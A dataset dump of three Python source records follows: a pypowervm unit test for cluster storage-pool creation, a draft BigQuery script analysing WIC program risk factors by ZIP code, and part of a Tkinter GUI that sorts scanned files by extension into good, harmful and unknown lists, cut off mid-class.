+{"seq_id":"252197386","text":"# Copyright 2015 IBM Corp.\n#\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport unittest\n\nimport mock\n\nimport pypowervm.entities as ent\nimport pypowervm.tasks.cluster_ssp as cs\nimport pypowervm.tests.tasks.util as tju\nimport pypowervm.util as u\nimport pypowervm.wrappers.cluster as clust\nimport pypowervm.wrappers.job as jwrap\nimport pypowervm.wrappers.storage as stor\n\nCREATE_CLUSTER = 'cluster_create_job_template.txt'\n\n\nclass TestClusterSSP(unittest.TestCase):\n\n @mock.patch('pypowervm.wrappers.job.Job.delete_job')\n @mock.patch('pypowervm.wrappers.job.Job._monitor_job')\n @mock.patch('pypowervm.wrappers.job.Job.job_status')\n @mock.patch('pypowervm.adapter.Adapter')\n def test_crt_cluster_ssp(self, mock_adp, mock_status, mock_monitor_job,\n mock_del_job):\n # Load up GET Cluster/do/Create (job template)\n mock_adp.read.return_value = tju.load_file(CREATE_CLUSTER, mock_adp)\n # We'll pretend the job ran and completed successfully\n mock_monitor_job.return_value = False\n mock_status.__get__ = mock.Mock(\n return_value=jwrap.JobStatus.COMPLETED_OK)\n\n # Mock Job.create_job to check job parameter values\n def create_job(job_el, entry_type, *args, **kwargs):\n self.assertEqual(entry_type, clust.Cluster.schema_type)\n job = jwrap.Job.wrap(ent.Entry({}, job_el, None))\n param_vals = job._get_vals(u.xpath(\n 'JobParameters', 'JobParameter', 'ParameterValue'))\n self.assertEqual(\n param_vals[0],\n 'clust_namerepos_pv_namevios15XXXXYYYZZZZZZZ')\n self.assertEqual(\n param_vals[1],\n '<'\n 'uom:Metadata>hdisk1'\n 'hdisk2hdisk3ssp'\n '_name')\n return mock.MagicMock()\n mock_adp.create_job.side_effect = create_job\n node = clust.Node.bld(\n mock_adp, hostname='vios1', lpar_id=5, mtms='XXXX-YYY*ZZZZZZZ',\n vios_uri='https://a.example.com:12443/rest/api/uom/VirtualIOServe'\n 'r/12345678-1234-1234-1234-123456789012')\n repos = stor.PV.bld(mock_adp, name='repos_pv_name')\n data = [stor.PV.bld(mock_adp, name=n) for n in (\n 'hdisk1', 'hdisk2', 'hdisk3')]\n cs.crt_cluster_ssp('clust_name', 'ssp_name', repos, node, data)\n # run_job() should run delete_job() at the end\n self.assertEqual(mock_del_job.call_count, 1)\n","sub_path":"pypowervm/tests/tasks/test_cluster_ssp.py","file_name":"test_cluster_ssp.py","file_ext":"py","file_size_in_byte":5123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"151601083","text":"## This poc script for converting WIC R code to python\nyour_project_id = \"project-wic_poc\"\nimport pandas as pd\nfrom google.cloud import bigquery\nimport sys\nimport time\n\n## global variables\nprojectId = 'chmdev'\ndbName = 'DATASETCHM2021_D1'\ntableNamePrefix = ''\nmoduleName = ''\nyear = ''\ndbConn = bigquery.Client() ##global conn\n\n## decorator\ndef add_datetime(func):\n reVal = ''\n\n def wrapper():\n start = time.perf_counter()\n print(func.__name__, \" : method started\")\n func()\n print(func.__name__, \" : method stopped\")\n\n return reVal\n\n\n## create db connection\ndef get_db_conn():\n return bigquery.Client()\n\n\n## get the query to run\ndef get_query(tableNamePrefix):\n tableName = tableNamePrefix + '_' + year\n baseQuery = \"SELECT * FROM `\" + projectId + \".\" + dbName + \".\" + tableName + \"`\"\n return baseQuery\n\n\n## get specific query\n# @add_datetime\ndef specificQuery(cat):\n queryWhole = \"\"\"SELECT a.*, a.Family_zip as ZipCode, case when a.certification_category in (1,2,3) then b.MomPopulation\n else b.ChildPopulation end as PopEstimates FROM `chmdev.DATASETCHM2021_D1.MD_WIC_2019` a\n left join `chmdev.DATASETCHM2021_D1.MD_PopEstimates2019` b on a.Family_zip= b.ZipCode\"\"\"\n\n ### WIC data by catorgery\n ###Mom data\n queryMom = \"\"\"SELECT a.*, a.Family_zip as ZipCode, case when a.certification_category in (1,2,3) then b.MomPopulation\n else b.ChildPopulation end as PopEstimates FROM `chmdev.DATASETCHM2021_D1.MD_WIC_2019` a \n left join `chmdev.DATASETCHM2021_D1.MD_PopEstimates2019` b on a.Family_zip = b.ZipCode\n where a.certification_category in (1, 2, 3)\n \"\"\"\n\n ### Child data\n queryChild = \"\"\"SELECT a.*, a.Family_zip as ZipCode, case when a.certification_category in (1,2,3) then b.MomPopulation\n else b.ChildPopulation end as PopEstimates FROM `chmdev.DATASETCHM2021_D1.MD_WIC_2019` a left\n join `chmdev.DATASETCHM2021_D1.MD_PopEstimates2019` b on a.Family_zip = b.ZipCode \n where a.certification_category in (5)\n \"\"\"\n ### Infant data\n queryInfant = \"\"\"SELECT a.*, a.Family_zip as ZipCode, case when a.certification_category in (1,2,3) then b.MomPopulation\n else b.ChildPopulation end as PopEstimates FROM `chmdev.DATASETCHM2021_D1.MD_WIC_2019` a left\n join `chmdev.DATASETCHM2021_D1.MD_PopEstimates2019` b on a.Family_zip = b.ZipCode \n where a.certification_category in (4)\"\"\"\n\n ## National Risk Factor data\n queryNRF = \"\"\"SELECT * FROM `chmdev.DATASETCHM2021_D1.WIC_RiskFactors`\"\"\"\n\n ## assigning appropriate query\n if(cat == 'all'):\n query = queryWhole\n elif(cat == 'mom'):\n query = queryMom\n elif(cat == 'child'):\n query = queryChild\n elif(cat == 'infant'):\n query = queryInfant\n elif(cat == 'nrf'):\n query = queryNRF\n\n return query\n\n\ndef run_SQL(dbConn, queryString):\n return dbConn.query(queryString).to_dataframe()\n\n## get indicators\ndef get_indicators():\n global dbConn\n queryInd = \"\"\"select case when VarCode='Currently.BF' then 'Currently_BF' when VarCode='Migrant.Status' then 'Migrant_Status'\n when VarCode='Ever.BF' then 'Ever_BF' else Varcode end as Ind \n from (select distinct varcode from `chmdev.DATASETCHM2021_D1.WIC_Codelookup`\n where Dataset= 'WIC' and VarType= 'Indicator' and Varcode \n not in ('FamilyIncome', 'Nutritional.Risk.check', 'Income.Period', 'NRFactor') order by Varcode asc )\"\"\"\n\n dfInd = run_SQL(dbConn,queryInd)\n return dfInd\n\n## get dimensions\ndef get_dimensions():\n global dbConn\n queryDim = \"\"\"select distinct Dim from (select case \n when Varcode in ('AgeRangeMoms', 'AgeRangeChild', 'AgeRangeInfant' ) then 'AgeRange' \n else Varcode end as Dim from `chmdev.DATASETCHM2021_D1.WIC_Codelookup` \n where Dataset= 'WIC' and VarType= 'Dimension' and Varcode not in ('NRFactor'))\"\"\"\n\n dfDim = run_SQL(dbConn,queryDim)\n return dfDim\n\n## get population estimates\ndef get_pop():\n global dbConn\n ##[['ZipCode','ChildPopulation','MomPopulation']]\n queryPop = \"\"\" select * from `chmdev.DATASETCHM2021_D1.MD_PopEstimates2019`\"\"\"\n dfPop = run_SQL(dbConn, queryPop)\n dfPop['PopEstimates'] = dfPop['ChildPopulation'] + dfPop['MomPopulation']\n return dfPop\n\ndef get_riskf():\n global dbConn\n queryRisk = \"\"\" SELECT distinct RF_TYPE_RISK_FACTOR_TYPE_ID as col1 \n FROM `chmdev.DATASETCHM2021_D1.WIC_RiskFactors` where HIGH_RISK_FLAG=1 \"\"\"\n\n dfRisk = run_SQL(dbConn,queryRisk)\n return dfRisk\n\ndef get_risk_factors(dfRisk):\n riskList = dfRisk.iloc[:,0].tolist()\n return riskList\n\n\ndef get_risk_counts(dfWICRisk):\n dfRiskMelt = pd.melt(dfWICRisk, id_vars=\"Family_zip\")\n\n # dfRiskMelt.columns[dfRiskMelt.columns != 'Family_zip'].to_list()\n # kind of gather ***** check later\n ##dfCrossTabRisk = pd.crosstab(index=dfRiskMelt['Family_zip'], columns=dfRiskMelt.columns[dfRiskMelt.columns != 'Family_zip'].to_list())\n\n # dfRiskMelt[1:10]\n\n # dfRiskSpreadOut = pd.crosstab(index=[dfRiskMelt['Family_zip'],dfRiskMelt['variable']], columns=dfRiskMelt['value'])\n dfRiskSpreadOut = pd.crosstab(index=dfRiskMelt['Family_zip'], columns=dfRiskMelt['value'])\n dfRiskSpreadOut = dfRiskSpreadOut.reset_index()\n dfRiskZipCountMelt = pd.melt(dfRiskSpreadOut, id_vars=[\"Family_zip\"], var_name='RiskID', value_name='Count')\n\n ## Do not delete these 2 comments\n dfRiskZipCountMelt = dfRiskZipCountMelt.sort_values(by=['Count'], ascending=False)\n # dfRiskZipCountMelt['Count_Denom'].sum()\n\n return dfRiskZipCountMelt\n\n## get totals for that zip in the data in WIC data\ndef get_zip_counts(dfWIC):\n dfWICZip = dfWIC[['Case_ID', 'Family_zip']]\n dfWICZipCounts = dfWICZip.groupby('Family_zip')['Family_zip'].count().reset_index(name='Zip_Counts')\n return dfWICZipCounts\n\n## get age unadjusted rates\ndef get_unadjusted(dfWICNRF, dfRiskCount, dfZipCounts):\n dfTemp1 = dfRiskCount.merge(dfWICNRF, left_on='RiskID',right_on='RF_TYPE_RISK_FACTOR_TYPE_ID')\n dfTemp2 = dfTemp1.merge(dfZipCounts, left_on='Family_zip',right_on='Family_zip')\n print(dfTemp2.columns)\n dfFinal = dfTemp2[['Family_zip','Count', 'CrossWalk','Zip_Counts']]\n dfFinal['Percentage'] = dfFinal['Count']/dfFinal['Zip_Counts']\n\n return dfFinal.drop_duplicates()\n\n## get age/population adjusted rates\ndef get_adjusted(dfWICNRF, dfRiskCount, dfPop):\n\n dfTemp1 = dfRiskCount.merge(dfWICNRF, left_on='RiskID', right_on='RF_TYPE_RISK_FACTOR_TYPE_ID')\n dfTemp2 = dfTemp1.merge(dfPop, left_on='Family_zip', right_on='ZipCode')\n print(dfTemp2.columns)\n dfFinal = dfTemp2[['Family_zip', 'Count', 'CrossWalk', 'PopEstimates', '']]\n dfFinal['Percentage'] = dfFinal['Count'] / dfFinal['PopEstimates']\n\n return dfFinal.drop_duplicates()\n\n\n## run the Stratification by Risk factors\ndef run_strat_rf():\n ## WIC whole\n query = specificQuery('all')\n dfWIC = run_SQL(dbConn, query)\n\n ##WIC NRF\n query = specificQuery('nrf')\n dfWICNRF = run_SQL(dbConn, query)\n\n ## getting the risk factors\n riskList = ['risk_1', 'risk_2', 'risk_3', 'risk_4', 'risk_5', 'risk_6', 'risk_7',\n 'risk_8', 'risk_9', 'risk_10', 'Family_zip']\n dfWICRisk = dfWIC[riskList]\n dfRiskCount = get_risk_counts(dfWICRisk)\n dfZipCounts = get_zip_counts(dfWIC)\n print(dfRiskCount.head())\n print(dfZipCounts.head())\n # m = ZIP counts\n # df = dfRisk counts\n # WIC_NRF\n dfUnadj = get_unadjusted(dfWICNRF, dfRiskCount, dfZipCounts)\n print(dfUnadj.head)\n dfAdj = get_adjusted(dfWICNRF, dfRiskCount, get_pop())\n print(dfAdj.head())\n\ndef run_wic_state_au():\n\n pass\n\n\ndef main():\n ## Steps\n \"\"\"\n 1. read the data from db\n 2. read the codelook ups\n 3. group/slice the data for respective sections\n 4. perform analysis - current version has 3 functions\n 5. ? add metadata\n 6. ? combine the results.\n :return:\n \"\"\"\n ## 1. function to run stratification by risk factor\n run_strat_rf()\n\n ## 2. function to run functions for combinations\n\n\n\n## main function\nif (__name__ == '__main__'):\n print(\"Script initiated\")\n main()\n print(\"Script ended\")\n\n\n\n\n\n\n","sub_path":"wic_draft.py","file_name":"wic_draft.py","file_ext":"py","file_size_in_byte":8125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"194213413","text":"#File Scanner\r\n#Made by Jack Carmichael\r\n\"\"\"\r\n===================================================================================\r\nObject--------------------Parameters--------------------Inheritance\r\n -AppWindow() -void -object\r\n -FileInfo() -frame -object\r\n -CurrentFileInfo() -frame -object\r\n -AcanGui() -file_listboxes,progress_bar -object\r\n -ProgressBar() -frame,length,height -TkinterWrapper.WindowCanvas\r\n -Scan() -directory,scan_gui -object\r\n -FIleType() -file_extension,file_consensus -object\r\n -FileTypeEditor() -parrent_window,edit_type -object\r\n -SetDirWindow() -parent_window -object\r\n -DirectoryListbox() -frame,companion_text_entry -TkinterWrapper.WindowListbox\r\n -ComputerDirectory() -void -object\r\n -SavedInfo() -void -object\r\n===================================================================================\r\nStill to do:\r\n -bind left click event with filetype listboxes. Options are to add to file type list\r\n\"\"\"\r\n\r\nimport os\r\nimport time\r\nfrom functools import partial\r\nimport UserErrorMessage\r\nimport TkinterWrapper\r\nimport FileWrapper\r\n\r\nALAPHABET=\"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\r\nUP_TRIANGLE=\"{0}\".format('\\u25B2')\r\nDOWN_TRIANGLE=\"{0}\".format('\\u25BC')\r\nLEFT_TRIANGLE=\"{0}\".format('\\u25C0')\r\nRIGHT_TRIANGLE=\"{0}\".format('\\u25B6')\r\nSMALL_RIGHT_TRIANGLE=\"{0}\".format('\\u25B8')\r\n\r\n#SPLIT UP! Make information frame a class and call update methods on it\r\nclass AppWindow(object):\r\n def __init__(self):\r\n self.app_window=TkinterWrapper.Window(\"File Scanner\")\r\n self.update_scan_flags(False,False,False)\r\n self.__setup_window()\r\n self.__setup_menu()\r\n self.__setup_frames()\r\n self.update_frames()\r\n self.app_window.start_mainloop()\r\n\r\n def __setup_window(self):\r\n self.app_window.remove_min_max_buttons(False)\r\n self.app_window.resizable(False,False)\r\n\r\n def __setup_menu(self):\r\n self.menu=TkinterWrapper.WindowMenu(self.app_window.get_window())\r\n self.file_cascade=TkinterWrapper.WindowMenuCascade(self.app_window.get_window(),False)\r\n self.file_cascade.add_item_to_cascade(\"Quit\",self.app_window.destroy_window)\r\n self.edit_cascade=TkinterWrapper.WindowMenuCascade(self.app_window.get_window(),False)\r\n self.edit_cascade.add_item_to_cascade(\"Known-Good Filetypes\",partial(self.add_known_file_type,\"KnownGood\"))\r\n self.edit_cascade.add_item_to_cascade(\"Known-Bad Filetypes\",partial(self.add_known_file_type,\"KnownBad\"))\r\n self.menu.add_cascade_to_menu(\"File\",self.file_cascade.get_cascade())\r\n self.menu.add_cascade_to_menu(\"Edit\",self.edit_cascade.get_cascade())\r\n\r\n def __setup_frames(self):\r\n self.process_information_frame=TkinterWrapper.WindowFrame(self.app_window.get_window())\r\n self.found_files_frame=TkinterWrapper.WindowFrame(self.app_window.get_window())\r\n self.current_file_frame=TkinterWrapper.WindowFrame(self.app_window.get_window())\r\n for item in [[self.process_information_frame,\"top\"],[self.current_file_frame,\"top\"],[self.found_files_frame,\"top\"]]:\r\n item[0].pack_frame(item[1],0,0)\r\n self.file_information_frame=FileInfo(self.found_files_frame.get_frame())\r\n self.current_file_information_frame=CurrentFileInfo(self.current_file_frame)\r\n\r\n def update_frames(self):\r\n self.process_information_frame.destroy_all_child_widgets()\r\n self.update_process_information_frame()\r\n self.file_information_frame.update_frame(self.directory_set,self.process_running,self.scan_finished)\r\n self.current_file_information_frame.update_frame(self.process_running)\r\n\r\n def update_process_information_frame(self):\r\n if self.process_running==False and self.directory_set==False and self.scan_finished==False:\r\n self.update_process_information_frame_for_idle(\"Please select a folder to scan.\",\"Set Search Folder\",self.open_dir_selection_dialogbox)\r\n elif self.process_running==False and self.directory_set==True and self.scan_finished==False:\r\n self.update_process_information_frame_for_idle(\"Set to scan: {0}\".format(saved_information.get_directory_to_scan()),\"Scan\",self.commence_scan)\r\n self.add_button_to_process_information_frame(\"Change Folder To Scan\",self.open_dir_selection_dialogbox)\r\n elif self.process_running==True and self.directory_set==True and self.scan_finished==False:\r\n self.update_process_information_frame_for_task()\r\n elif self.process_running==False and self.directory_set==False and self.scan_finished==True:\r\n self.update_process_information_frame_for_idle(\"Scan Completed\",\"Scan Something Else\",self.open_dir_selection_dialogbox)\r\n\r\n def update_process_information_frame_for_idle(self,top_text,button_text,button_action):\r\n label=TkinterWrapper.WindowLabel(self.process_information_frame.get_frame(),\"{0}\".format(top_text))\r\n label.configure_colors(\"dodgerblue2\",\"grey95\",\"times 11\")\r\n label.pack_label(\"top\",0,0)\r\n self.add_button_to_process_information_frame(button_text,button_action)\r\n def add_button_to_process_information_frame(self,button_text,button_action):\r\n button=TkinterWrapper.WindowButton(self.process_information_frame.get_frame(),\"{0}\".format(button_text),button_action)\r\n button.pack_button(\"top\",0,1)\r\n\r\n def update_process_information_frame_for_task(self):\r\n top_text=TkinterWrapper.WindowLabel(self.process_information_frame.get_frame(),\"Scanning....\")\r\n top_text.configure_colors(\"grey20\",\"grey95\",\"times 14\")\r\n top_text.pack_label(\"top\",0,0)\r\n top_text=TkinterWrapper.WindowLabel(self.process_information_frame.get_frame(),\"Scanning: {0}\".format(saved_information.get_directory_to_scan()))\r\n top_text.configure_colors(\"dodgerblue2\",\"grey95\",\"times 10\")\r\n top_text.pack_label(\"top\",0,0)\r\n self.progress_bar=Progressbar(self.process_information_frame.get_frame(),400,30)\r\n\r\n def add_known_file_type(self,type_consensus):\r\n dialog_box=FileTypeEditor(self.app_window.get_window(),type_consensus)\r\n\r\n def open_dir_selection_dialogbox(self):\r\n directory_selection=SetDirWindow(self.app_window.get_window())\r\n if directory_selection.get_saved_directory!=\"\":\r\n saved_information.set_directory_to_scan(directory_selection.get_saved_directory())\r\n self.update_scan_flags(True,False,False)\r\n self.update_frames()\r\n\r\n def commence_scan(self):\r\n self.update_scan_flags(True,True,False)\r\n self.update_frames()\r\n scan_gui=ScanGUI(self.file_information_frame.get_listboxes(),self.progress_bar,self.current_file_information_frame)\r\n self.scan=Scan(saved_information.get_directory_to_scan(),scan_gui)\r\n self.scan.start()\r\n scan_gui.start_checking_for_selection()\r\n self.update_scan_flags(False,False,True)\r\n self.update_frames()\r\n\r\n def update_scan_flags(self,directory_set_flag,process_running_flag,scan_finished_flag):\r\n self.process_running=process_running_flag\r\n self.directory_set=directory_set_flag\r\n self.scan_finished=scan_finished_flag\r\n\r\n\r\nclass FileInfo(object):\r\n def __init__(self,frame):\r\n self.frame=frame\r\n self.__setup_file_types_frames()\r\n\r\n def __setup_file_types_frames(self):\r\n self.ok_files_frame=TkinterWrapper.WindowFrame(self.frame)\r\n self.bad_files_frame=TkinterWrapper.WindowFrame(self.frame)\r\n self.unknown_files_frame=TkinterWrapper.WindowFrame(self.frame)\r\n for frame in [[self.ok_files_frame,\"left\"],[self.bad_files_frame,\"left\"],[self.unknown_files_frame,\"left\"]]:\r\n frame[0].pack_frame(frame[1],0,0)\r\n\r\n def update_frame(self,directory_set,process_running,scan_finished):\r\n self.destroy_all_widgets(scan_finished)\r\n if (process_running==False or directory_set==False) and scan_finished!=True:\r\n for item in [[self.ok_files_frame,\"Ok\"],[self.bad_files_frame,\"Potentialy Harmfull\"],[self.unknown_files_frame,\"Unknown\"]]:\r\n item[0].configure_border(\"ridge\",2)\r\n self.insert_file_explaning_note(item[0],item[1])\r\n elif process_running==True and directory_set==True:\r\n self.listboxes=[]\r\n self.update_file_frame_for_task(self.ok_files_frame.get_frame(),\"Ok\")\r\n self.update_file_frame_for_task(self.bad_files_frame.get_frame(),\"Potentialy Harmfull\")\r\n self.update_file_frame_for_task(self.unknown_files_frame.get_frame(),\"Unknown\")\r\n\r\n def destroy_all_widgets(self,scan_finished):\r\n if scan_finished!=True:\r\n for frame in [self.ok_files_frame,self.bad_files_frame,self.unknown_files_frame]:\r\n frame.destroy_all_child_widgets()\r\n\r\n def insert_file_explaning_note(self,frame,text):\r\n information_label=TkinterWrapper.WindowLabel(frame.get_frame(),\"{0} files will be\\nshown here after a scan\".format(text))\r\n information_label.configure_colors(\"grey50\",\"grey95\",\"times 10\")\r\n information_label.pack_label(\"top\",0,2)\r\n\r\n def update_file_frame_for_task(self,frame,text):\r\n label=TkinterWrapper.WindowLabel(frame,\"{0} Files:\".format(text))\r\n label.configure_colors(\"grey60\",\"grey95\",\"times 12\")\r\n label.pack_label(\"top\",0,0)\r\n self.setup_textbox_frame(frame)\r\n self.setup_textbox_x_scrollbar_frame(frame)\r\n\r\n def setup_textbox_frame(self,file_frame):\r\n frame=TkinterWrapper.WindowFrame(file_frame)\r\n frame.pack_frame(\"top\",0,0)\r\n listbox=TkinterWrapper.WindowListbox(frame.get_frame())\r\n listbox.pack_listbox(\"left\",0,0)\r\n listbox.configure_size(40,30)\r\n scrollbar=TkinterWrapper.WindowScrollbar(frame.get_frame(),\"y\")\r\n scrollbar.attach_to_widget(listbox.get_listbox())\r\n listbox.attach_scrollbar(\"y\",scrollbar.get_scrollbar())\r\n scrollbar.pack_scrollbar(\"left\",0,0)\r\n self.listboxes.append(listbox)\r\n\r\n def setup_textbox_x_scrollbar_frame(self,file_frame,):\r\n frame=TkinterWrapper.WindowFrame(file_frame)\r\n frame.pack_frame(\"top\",0,0)\r\n scrollbar=TkinterWrapper.WindowScrollbar(frame.get_frame(),\"x\")\r\n scrollbar.attach_to_widget(self.listboxes[len(self.listboxes)-1].get_listbox())\r\n self.listboxes[len(self.listboxes)-1].attach_scrollbar(\"x\",scrollbar.get_scrollbar())\r\n scrollbar.pack_scrollbar(\"top\",0,0) \r\n\r\n def get_listboxes(self):\r\n return self.listboxes\r\n\r\n\r\nclass CurrentFileInfo(object):\r\n def __init__(self,frame):\r\n self.frame=frame\r\n self.__setup_dummy_frame()\r\n self.setup_frames()\r\n self.make_labels()\r\n\r\n def __setup_dummy_frame(self):\r\n dummy_frame=TkinterWrapper.WindowFrame(self.frame.get_frame())\r\n dummy_frame.pack_frame(\"top\",0,0)\r\n\r\n def setup_frames(self):\r\n self.top_frame=TkinterWrapper.WindowFrame(self.frame.get_frame())\r\n self.bottom_frame=TkinterWrapper.WindowFrame(self.frame.get_frame())\r\n for frame,position in [[self.top_frame,\"top\"],[self.bottom_frame,\"top\"]]:\r\n frame.pack_frame(position,0,0)\r\n\r\n def make_labels(self):\r\n self.file_fraction=TkinterWrapper.WindowLabel(self.top_frame.get_frame(),\"\")\r\n self.file_fraction.configure_colors(\"grey40\",\"grey95\",\"times 11\")\r\n self.current_file=TkinterWrapper.WindowLabel(self.bottom_frame.get_frame(),\"Current File:\")\r\n self.current_file.configure_colors(\"grey40\",\"grey95\",\"times 10\")\r\n self.file_entry=TkinterWrapper.WindowEntry(self.bottom_frame.get_frame())\r\n self.file_entry.configure_size(115)\r\n\r\n def update_frame(self,process_running):\r\n if process_running==True:\r\n self.file_fraction.pack_label(\"top\",0,0)\r\n self.current_file.pack_label(\"left\",0,0)\r\n self.file_entry.pack_entry(\"left\",0,0)\r\n else:\r\n self.top_frame.destroy()\r\n self.bottom_frame.destroy()\r\n self.setup_frames()\r\n self.make_labels()\r\n\r\n def update_file_fraction(self,numerator,denominator):\r\n self.file_fraction.configure_text(\"{0} out of {1} files scanned\".format(numerator,denominator))\r\n def update_current_file(self,current_file_directory):\r\n self.file_entry.configure_entry_text(\"{0}\".format(current_file_directory))\r\n\r\n\r\nclass ScanGUI(object):\r\n def __init__(self,file_listboxes,progress_bar,current_info):\r\n self.file_listboxes=file_listboxes\r\n self.progress_bar=progress_bar\r\n self.current_file_information=current_info\r\n self.selections=[[\"\",\"\"],[\"\",\"\"],[\"\",\"\"]]\r\n self.listbox_being_used=[False,False,False]\r\n\r\n def update_file_lists(self,files):\r\n self.file_list=files\r\n self.check_for_selection()\r\n for x in range(0,3):\r\n if self.listbox_being_used[x]==False:\r\n self.file_listboxes[x].delete_text(0,\"end\")\r\n for file in files:\r\n if (file.get_file_consensus()==\"KnownGood\" and self.listbox_being_used[0]==False) or\\\r\n (file.get_file_consensus()==\"KnownBad\" and self.listbox_being_used[1]==False) or\\\r\n (file.get_file_consensus()==\"Unknown\" and self.listbox_being_used[2]==False):\r\n self.add_item_to_listbox(file.get_file_consensus(),file.get_file_extension(),file.get_number_of_files())\r\n\r\n def add_item_to_listbox(self,item_consensus,item_name,number_of_item):\r\n if item_consensus==\"KnownGood\":\r\n self.file_listboxes[0].insert_text(\"{0} {1:4s} Files ({2})\\n\".format(RIGHT_TRIANGLE,item_name,number_of_item),\"end\")\r\n elif item_consensus==\"KnownBad\":\r\n self.file_listboxes[1].insert_text(\"{0} {1:4s} Files ({2})\\n\".format(RIGHT_TRIANGLE,item_name,number_of_item),\"end\")\r\n elif item_consensus==\"Unknown\":\r\n self.file_listboxes[2].insert_text(\"{0} {1:4s} Files ({2})\\n\".format(RIGHT_TRIANGLE,item_name,number_of_item),\"end\")\r\n\r\n def update_progress_bar(self,percentage,part,total_parts):\r\n self.progress_bar.update(percentage,part,total_parts)\r\n\r\n def update_current_information(self,numerator,denominator,current_file_directory):\r\n self.current_file_information.update_file_fraction(numerator,denominator)\r\n self.current_file_information.update_current_file(current_file_directory)\r\n\r\n def start_checking_for_selection(self):\r\n self.check_for_selection()\r\n #This is not a good solution, better way to check every 250ms?\r\n self.file_listboxes[0].get_listbox().after(250,self.start_checking_for_selection)\r\n\r\n def check_for_selection(self):\r\n for x in range(0,3):\r\n self.selections[x][0]=self.file_listboxes[x].get_current_selection()\r\n self.selections[x][0]=self.file_listboxes[x].get_text_from_index(self.selections[x][0])\r\n for x in range(0,3):\r\n if self.selections[x][0]!=self.selections[x][1] and self.selections[x][0]!=None:\r\n print(\"Selection in listbox {0} has changed to: {1}\".format(x,self.selections[x][0]))\r\n self.selection_actions(x)\r\n self.selections[x][1]=self.selections[x][0]\r\n\r\n def selection_actions(self,listbox):\r\n if RIGHT_TRIANGLE in self.selections[listbox][0]:\r\n self.show_file_type_places(self.selections[listbox][0],listbox)\r\n elif LEFT_TRIANGLE in self.selections[listbox][0]:\r\n self.go_back_to_file_type_list(listbox)\r\n elif SMALL_RIGHT_TRIANGLE in self.selections[listbox][0]:\r\n self.open_file_explorer(self.selections[listbox][0])\r\n\r\n def show_file_type_places(self,selection,listbox):\r\n self.listbox_being_used[listbox]=True\r\n print(\"Selection: \"+selection)\r\n for file in self.file_list:\r\n if file.get_file_extension()==self.get_file_extension_from_selection(selection):\r\n self.insert_file_places(file,listbox)\r\n\r\n def get_file_extension_from_selection(self,selection):\r\n file_extension=\"\"\r\n for x in range(2,len(selection)):\r\n if selection[x]!=\" \" and selection[x]!=\"(\" and selection[x]!=\")\":\r\n file_extension+=selection[x]\r\n else:\r\n return file_extension\r\n\r\n def insert_file_places(self,file_type,listbox):\r\n self.file_listboxes[listbox].delete_text(0,\"end\")\r\n self.add_directional_information(listbox)\r\n for item in file_type.get_file_type_locations():\r\n self.file_listboxes[listbox].insert_text(\"{0} {1}\\n\".format(SMALL_RIGHT_TRIANGLE,item),\"end\")\r\n\r\n def add_directional_information(self,listbox):\r\n self.file_listboxes[listbox].insert_text(\"{0} Back to File List\\n\".format(LEFT_TRIANGLE),\"end\")\r\n self.file_listboxes[listbox].insert_text(\"{0} {1} Files\\n\".format(DOWN_TRIANGLE,self.get_file_extension_from_selection\\\r\n (self.selections[listbox][0])),\"end\")\r\n\r\n def go_back_to_file_type_list(self,listbox):\r\n self.listbox_being_used[listbox]=False\r\n self.file_listboxes[listbox].delete_text(0,\"end\")\r\n for file in self.file_list:\r\n if file.get_file_consensus()==\"KnownGood\" and listbox==0:\r\n self.add_item_to_listbox(\"KnownGood\",file.get_file_extension(),file.get_number_of_files())\r\n elif file.get_file_consensus()==\"KnownBad\" and listbox==1:\r\n self.add_item_to_listbox(\"KnownBad\",file.get_file_extension(),file.get_number_of_files())\r\n elif file.get_file_consensus()==\"Unknown\" and listbox==2:\r\n self.add_item_to_listbox(\"Unknown\",file.get_file_extension(),file.get_number_of_files())\r\n\r\n def open_file_explorer(self,file_location):\r\n file_location=file_location[2:len(file_location):1]\r\n for x in range(len(file_location)-1,0,-1):\r\n if file_location[x]==\"\\\\\":\r\n file_location=file_location[0:x:1]\r\n break\r\n os.startfile(r\"{0}\".format(file_location))\r\n\r\n\r\nclass Progressbar(TkinterWrapper.WindowCanvas):\r\n def __init__(self,frame,length,height):\r\n self.length=length\r\n self.height=height\r\n self.percentage=0\r\n self.rectangle_point=0\r\n super(Progressbar, self).__init__(frame,self.length,height)\r\n super(Progressbar, self).pack_canvas(\"top\",0,0)\r\n\r\n def update(self,percentage,part,total_parts):\r\n self.percentage=percentage\r\n super(Progressbar, self).delete_all_contents()\r\n self.update_part(part,total_parts)\r\n self.update_rectangle()\r\n self.update_text()\r\n self.canvas.update()\r\n\r\n def update_part(self,part,total_parts):\r\n super(Progressbar, self).add_text(self.length/2,6,\"Part {0} of {1}\".format(part,total_parts),\"grey10\",\"times 9\")\r\n\r\n def update_rectangle(self):\r\n super(Progressbar, self).add_rectangle(2,13,self.length,self.height,\"lightblue\")\r\n if self.percentage==\"GoThrough\":\r\n self.calculate_go_through_rectangle()\r\n super(Progressbar, self).add_rectangle(self.rectangle_point,13,self.rectangle_point+100,self.height,\"cornflowerblue\")\r\n else:\r\n self.rectangle_point=self.length*self.percentage\r\n super(Progressbar, self).add_rectangle(2,13,self.rectangle_point,self.height,\"cornflowerblue\")\r\n\r\n def calculate_go_through_rectangle(self):\r\n if self.rectangle_point>=self.length:\r\n self.rectangle_point=0\r\n else:\r\n self.rectangle_point+=0.05\r\n \r\n def update_text(self):\r\n if type(self.percentage).__name__!='str':\r\n if self.percentage<=0.95:\r\n super(Progressbar, self).add_text(370,self.height-8,\"{0}%\".format(int(self.percentage*100)),\"grey10\",\"times 14\")\r\n else:\r\n super(Progressbar, self).add_text(370,self.height-8,\"{0}%\".format(int(self.percentage*100)),\"grey80\",\"times 14\")\r\n\r\n \r\nclass Scan(object):\r\n def __init__(self,directory,scan_gui):\r\n self.scan_directory=directory\r\n self.scan_gui=scan_gui\r\n self.set_scan_variables()\r\n 